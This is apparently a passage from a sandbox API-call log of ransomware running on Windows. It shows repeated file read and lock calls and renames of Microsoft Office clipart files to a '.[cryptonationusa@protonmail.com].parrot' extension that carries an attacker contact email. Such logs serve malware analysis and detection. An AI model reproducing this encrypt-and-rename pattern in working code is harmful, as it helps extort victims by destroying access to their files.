lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.283] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.283] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3d90, lpOverlapped=0x0) returned 1 [0131.284] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.285] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ea8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.285] CloseHandle (hObject=0x27c) returned 1 [0131.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.288] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6f4c, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.288] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.288] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.290] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.290] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e34, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6e34, lpOverlapped=0x0) returned 1 [0131.291] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.292] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6f4c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.293] CloseHandle (hObject=0x27c) returned 1 [0131.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.297] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x45fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.297] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.298] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.299] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x44e6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x44e6, lpOverlapped=0x0) returned 1 [0131.301] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.301] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x45fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.301] CloseHandle (hObject=0x27c) returned 1 [0131.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.304] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe1c, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.304] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.304] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.305] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.306] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd04, lpOverlapped=0x0) returned 1 [0131.306] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.306] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe1c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.306] CloseHandle (hObject=0x27c) returned 1 [0131.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.309] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.309] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.309] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.311] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.311] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b0, lpOverlapped=0x0) returned 1 [0131.311] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.311] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.311] CloseHandle (hObject=0x27c) returned 1 [0131.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.314] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15da, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.314] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.316] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.316] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14c2, lpOverlapped=0x0) returned 1 [0131.317] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.317] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.317] CloseHandle (hObject=0x27c) returned 1 [0131.317] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.320] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c2e, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.320] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.320] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.322] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.322] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b16, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b16, lpOverlapped=0x0) returned 1 [0131.322] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.323] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c2e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.323] CloseHandle (hObject=0x27c) returned 1 [0131.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.326] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa55a, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.326] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.326] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.328] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.328] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa442, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa442, lpOverlapped=0x0) returned 1 [0131.330] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.331] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa55a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.331] CloseHandle (hObject=0x27c) returned 1 [0131.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.334] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1482, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.334] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.334] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.335] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.336] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x136a, lpOverlapped=0x0) returned 1 [0131.336] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.337] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1482, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.337] CloseHandle (hObject=0x27c) returned 1 [0131.337] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.341] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x61cf, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.341] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.341] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.343] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.343] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x60b7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x60b7, lpOverlapped=0x0) returned 1 [0131.344] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.345] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x61cf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.345] CloseHandle (hObject=0x27c) returned 1 [0131.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.350] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x41ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.350] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.350] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.352] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.352] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40d4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x40d4, lpOverlapped=0x0) returned 1 [0131.353] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.353] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x41ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.353] CloseHandle (hObject=0x27c) returned 1 [0131.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.356] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6051, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.356] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.356] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.360] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.360] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5f39, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5f39, lpOverlapped=0x0) returned 1 [0131.361] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.362] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6051, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.362] CloseHandle (hObject=0x27c) returned 1 [0131.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.365] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x486a, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.365] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.365] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.400] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.400] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4752, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4752, lpOverlapped=0x0) returned 1 [0131.426] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.426] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x486a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.426] CloseHandle (hObject=0x27c) returned 1 [0131.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.431] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11f16, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.431] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.431] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.437] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.437] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11dfe, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11dfe, lpOverlapped=0x0) returned 1 [0131.440] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.441] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11f16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.441] CloseHandle (hObject=0x27c) returned 1 [0131.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.444] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x56b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.445] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.445] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.446] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.446] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x559a, 